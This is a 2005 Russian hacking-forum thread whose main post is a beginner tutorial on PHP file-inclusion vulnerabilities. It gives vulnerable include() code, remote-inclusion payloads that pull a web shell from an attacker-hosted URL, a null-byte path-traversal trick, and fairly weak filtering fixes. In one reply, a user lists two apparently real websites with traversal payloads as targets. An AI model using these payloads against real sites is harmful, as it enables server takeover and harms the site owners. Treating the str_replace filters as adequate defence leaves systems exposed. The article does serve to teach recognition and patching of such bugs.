Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   php injection (https://forum.antichat.xyz/showthread.php?t=12123)

GreenBear 25.12.2005 00:47

php injection
 
Дело было вечером, делать было нечего… А сидеть в мирке с укуреными было неохота как-то… Вот решил построчить немного. Знаю что подобных статей, больше чем мне дней, но все же, свое это свое.
Сразу хочу сказать, что если вы не новичок, то можете не читать далее. Else, то читаем.
Php инъекция являются, наверно, самым распространенным, после sql-inj, багом.
И так , сама суть:
Есть код:
PHP код:

<?
..
Include (
"$page.php");

?>

Программист сайта видимо надеялся на то, что в мире нет плохих юзверей, которые пройдут его сайт мимо. Но зря он надеялся. Наверное, каждый из нас, как увидит ссылку типа index.php?page=shop
Сразу вместо shop пишет dsdsds и смотрит на результат.Он будет примерно таким:
Цитата:

Warning: main(dsdsds.php): failed to open stream: No such file or directory in /home/user/www//page.php on line 3

Warning: main(dsdsds.php): failed to open stream: No such file or directory in /home/user/www/page.php on line 3

Warning: main(): Failed opening 'dsdsds.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear') in /home/user/www/page.php on line 3
Ура. Это и есть инлуд. Давайте подставим вместо dsdsds ссылку на наш сайт с шеллом, например http://hacker.nm.ru/shell (Важно! Без расширения на конце!) и о чудо, мы только что получили веб-шелл.
Идем дальше, есть код типа:
PHP код:

<?
..
Include (
"files/$page.htm");

?>

:. Получается уже локальный инлкуд… Максимум, что мы добьемся - это просмотр файлов на сервере. Можно попробывать с нулевым байтов (%00) - это сделает возможным просмотреть файлы с разрешением отличным от .htm,(пример index.php?page=../index.php%00) но… такое уже редко встречается.
Третий тип:
PHP код:

<?
..
Include (
"$patch/folder/page.php");

?>

Кажется, что тоже все безнадежно, как и во втором случае… Но если вдуматься, что нам мешает создать на удаленном сервере папку folder с page.php в ней?
Ничего не мешает. Создаем, и уже пишем index.php?patch=http://hacker.nm.ru/
И о чудо, мы снова видим там свой шелл :

Теперь, как избежать этого.
Случай первый:
PHP код:

<?
..
if (
file_exists("$page.php")) //Проверим файл на сущесвтование. Если он есть, то мы вставим его
{
Include (
"$page.php");
}
Else 
//Есле…
{
Echo 
"Error!";
}

?>

Случай второй:
PHP код:

<?
..
$page=str_replace("/","",$page); // Это отфильтрует возможность перехода в другие дириктории.
if (file_exists("files/$page.htm "))
{
Include (
"files/$page.htm");
}
Else
{
Echo 
"error";
}

?>

Ну и третий случай(довольно редко встречается, но все же, недавно был обнаружен на одном из форумных движков…):
PHP код:

<?

$patch
=str_replace("/","",$patch);  // Отфильтруем нехорошие символы
$patch=str_replace(":","",$patch);
$patch=str_replace(".","",$patch);

if (
file_exists("$patch/folder/page.php ")) //Проверим файл на существование. Если он есть, то мы вставим его
{
Include (
"$patch/folder/page.php");
}
Else
{
Echo 
"Error!";
}

?>

Ну, вот в принципе и все, теперь, если вы не умели, то научились распознавать include баги, а также защищаться от них.

TANZWUT 25.12.2005 13:45

_http://www.beta-bedrijvendagen.nl/main.php?file=../main.php
_http://www.compendiuminc.com/main.php?file= к примеру;)

Zadoxlik 25.12.2005 19:14

Теперь, когда вы так много знаете, я расскажу вам как правильно кушать ложкой.

Примерно тоже самое, что и эта статья. Green_beear молодец конечно, но не туда по-мойму труд ты свой прикладываешь немного.
К новому году, по словам Егорыча великого и ужасного, будет опубликована достаточно полная статья по теме на античате, так что не делайте полуфабрикатов =)

Rebz 25.12.2005 19:42

Zadoxlik, ну простые и не очень смертные не в курсе какие планы у вас с Егорычем.. =) Инициатива приветствуется)). Думаю, здесь осуждать не имеет смысла, беспочвенно).

Electro 10.01.2006 13:32

Статейка просто супер. Мне понравился но вот только во многих сайтах это не проходит, например я пишу в место index.php?page=shop , index.php?page=xernya а страничка вообще не реагирует на ошибочный запрос ...было бы лучше если бы вы обяснили как тогда действовать

byte57 12.01.2006 14:29

статья нормально, так как на ачате еще не писали, пусть будет в библиотеке, но нету приложений в виде простенького кода шелла.

External 14.01.2006 22:33

Тут кроме Белого Джордана об этой теме писать не могут. Ты не найдешь ни единой статьи об хсс кроме статей Алгола.

Zadoxlik 14.01.2006 23:34

Просто об ней уже все написано

SanyaX 14.01.2006 23:51

Простая статья что такого ужасного написали грин бир молодец что такого?

External 15.01.2006 05:36

Цитата:

Сообщение от Zadoxlik
Просто об ней уже все написано

Ибо да, Алгола начал, а Белый Джордан закончил. Они все про хсс уже написали. Все что можно угу.


Время: 12:08